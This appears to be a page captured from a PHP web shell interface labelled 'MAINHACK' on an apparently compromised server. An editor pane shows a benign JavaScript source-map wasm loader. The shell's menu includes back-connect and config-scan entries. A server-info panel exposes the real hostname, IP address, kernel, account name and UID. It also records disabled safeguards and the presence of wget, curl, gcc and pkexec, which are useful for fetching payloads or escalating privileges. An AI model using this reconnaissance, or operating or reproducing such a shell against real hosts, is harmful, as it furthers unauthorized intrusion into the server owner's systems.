[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wasm.js
const readWasm = require("../lib/read-wasm"); /** * Provide the JIT with a nice shape / hidden class. */ function Mapping() { this.generatedLine = 0; this.generatedColumn = 0; this.lastGeneratedColumn = null; this.source = null; this.originalLine = null; this.originalColumn = null; this.name = null; } let cachedWasm = null; module.exports = function wasm() { if (cachedWasm) { return cachedWasm; } const callbackStack = []; cachedWasm = readWasm().then(buffer => { return WebAssembly.instantiate(buffer, { env: { mapping_callback( generatedLine, generatedColumn, hasLastGeneratedColumn, lastGeneratedColumn, hasOriginal, source, originalLine, originalColumn, hasName, name ) { const mapping = new Mapping(); // JS uses 1-based line numbers, wasm uses 0-based. mapping.generatedLine = generatedLine + 1; mapping.generatedColumn = generatedColumn; if (hasLastGeneratedColumn) { // JS uses inclusive last generated column, wasm uses exclusive. mapping.lastGeneratedColumn = lastGeneratedColumn - 1; } if (hasOriginal) { mapping.source = source; // JS uses 1-based line numbers, wasm uses 0-based. mapping.originalLine = originalLine + 1; mapping.originalColumn = originalColumn; if (hasName) { mapping.name = name; } } callbackStack[callbackStack.length - 1](mapping); }, start_all_generated_locations_for() { console.time("all_generated_locations_for"); }, end_all_generated_locations_for() { console.timeEnd("all_generated_locations_for"); }, start_compute_column_spans() { console.time("compute_column_spans"); }, end_compute_column_spans() { console.timeEnd("compute_column_spans"); }, start_generated_location_for() { console.time("generated_location_for"); }, end_generated_location_for() { console.timeEnd("generated_location_for"); }, start_original_location_for() { console.time("original_location_for"); }, end_original_location_for() { console.timeEnd("original_location_for"); }, start_parse_mappings() { console.time("parse_mappings"); }, end_parse_mappings() { console.timeEnd("parse_mappings"); }, start_sort_by_generated_location() { console.time("sort_by_generated_location"); }, end_sort_by_generated_location() { console.timeEnd("sort_by_generated_location"); }, start_sort_by_original_location() { console.time("sort_by_original_location"); }, end_sort_by_original_location() { console.timeEnd("sort_by_original_location"); }, } }); }).then(Wasm => { return { exports: Wasm.instance.exports, withMappingCallback: (mappingCallback, f) => { callbackStack.push(mappingCallback); try { f(); } finally { callbackStack.pop(); } } }; }).then(null, e => { cachedWasm = null; throw e; }); return cachedWasm; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.55 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002